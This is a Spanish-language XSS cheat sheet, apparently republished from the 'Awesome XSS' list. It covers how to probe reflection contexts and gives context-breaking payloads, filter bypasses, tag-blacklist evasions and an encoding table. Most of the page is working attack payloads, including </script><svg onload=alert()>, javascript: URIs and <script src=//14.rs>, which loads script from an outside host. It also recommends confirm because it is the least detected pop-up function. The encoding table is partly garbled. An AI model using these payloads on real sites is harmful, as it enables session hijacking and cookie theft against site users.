Si nada de esto funciona, echa un vistazo a la sección Awesome Bypassing.
En primer lugar, introduce una cadena no maliciosa como d3v y mira el código fuente para hacerte una idea sobre la cantidad y contextos de reflexiones.
Ahora, para contexto de atributo, comprueba si las comillas dobles (") están siendo filtradas introduciendo x"d3v. Si se altera a x"d3v, es probable que la salida esté siendo escapada correctamente. Si esto ocurre, intenta lo mismo con comillas simples (') introduciendo x'd3v, si se altera a x', estás perdido. Lo único que puedes intentar es la codificación.
Si las comillas no están siendo filtradas, simplemente puedes probar payloads de la sección Awesome Context Breaking.
Para contexto JavaScript, comprueba qué comillas se están usando; por ejemplo, si están haciendo
root@kitploit:~
variable = 'value' or variable = "value"
Ahora, supongamos que se usan comillas simples ('). En ese caso, introduce x'd3v. Si se altera a x\'d3v, intenta escapar la barra invertida () añadiendo una barra invertida a tu sonda, es decir, x\'d3v. Si funciona, usa el siguiente payload:
root@kitploit:~
\'-alert()//
Pero si se altera a x\\\'d3v, lo único que puedes intentar es cerrar la propia etiqueta script usando
root@kitploit:~
</script><svg onload=alert()>
Para contexto HTML simple, la sonda es x<d3v. Si se altera a x>d3v, hay una sanitización adecuada. Si se refleja tal cual, puedes introducir una etiqueta ficticia para comprobar posibles filtros. La etiqueta ficticia que me gusta usar es x<xxx>. Si se elimina o altera de alguna manera, significa que el filtro busca un par de < y >. Se puede evadir fácilmente usando
root@kitploit:~
<svg onload=alert()//
o esto (no funcionará en todos los casos)
root@kitploit:~
<svg onload=alert()
Si tus etiquetas ficticias aparecen en el código fuente tal cual, usa cualquiera de estos payloads
root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Awesome Bypassing
Nota: Ninguno de estos payloads usa comillas simples (') o dobles (").
Sin manejadores de eventos
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
Evadir lista negra de etiquetas
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>
Awesome Encoding
HTML
Car
Numérico
Descripción
Hex
CSS (ISO)
JS (Octal)
URL
"
"
"
comilla doble
u+0022
\0022
\42
%22
#
#
#
signo de número
u+0023
\0023
\43
%23
$
$
$
signo de dólar
u+0024
\0024
\44
%24
%
%
%
signo de porcentaje
u+0025
\0025
\45
%25
&
&
&
ampersand
u+0026
\0026
\46
%26
'
'
'
apóstrofe
u+0027
\0027
\47
%27
(
(
(
paréntesis izquierdo
u+0028
\0028
\50
%28
)
)
)
paréntesis derecho
u+0029
\0029
\51
%29
*
*
*
asterisco
u+002A
\002a
\52
%2A
+
+
+
signo de más
u+002B
\002b
\53
%2B
,
,
,
coma
u+002C
\002c
\54
%2C
−
Awesome Tips & Tricks
http(s):// se puede acortar a // o /\\ o \\.
document.cookie se puede acortar a cookie. Aplica también a otros objetos DOM.
alert y otras funciones de pop-up no necesitan un valor, así que deja de hacer alert('XSS') y empieza a usar alert()
Puedes usar // para cerrar una etiqueta en lugar de >.
He descubierto que confirm es la función de pop-up menos detectada, así que deja de usar alert.
Las comillas alrededor del valor de un atributo no son necesarias siempre que no contenga espacios. Puedes usar <script src=//14.rs> en lugar de <script src="//14.rs">
El payload XSS más corto para contexto HTML es <script src=//14.rs> (19 caracteres)
Awesome Credits
Todos los payloads son creados por mí a menos que se especifique lo contrario.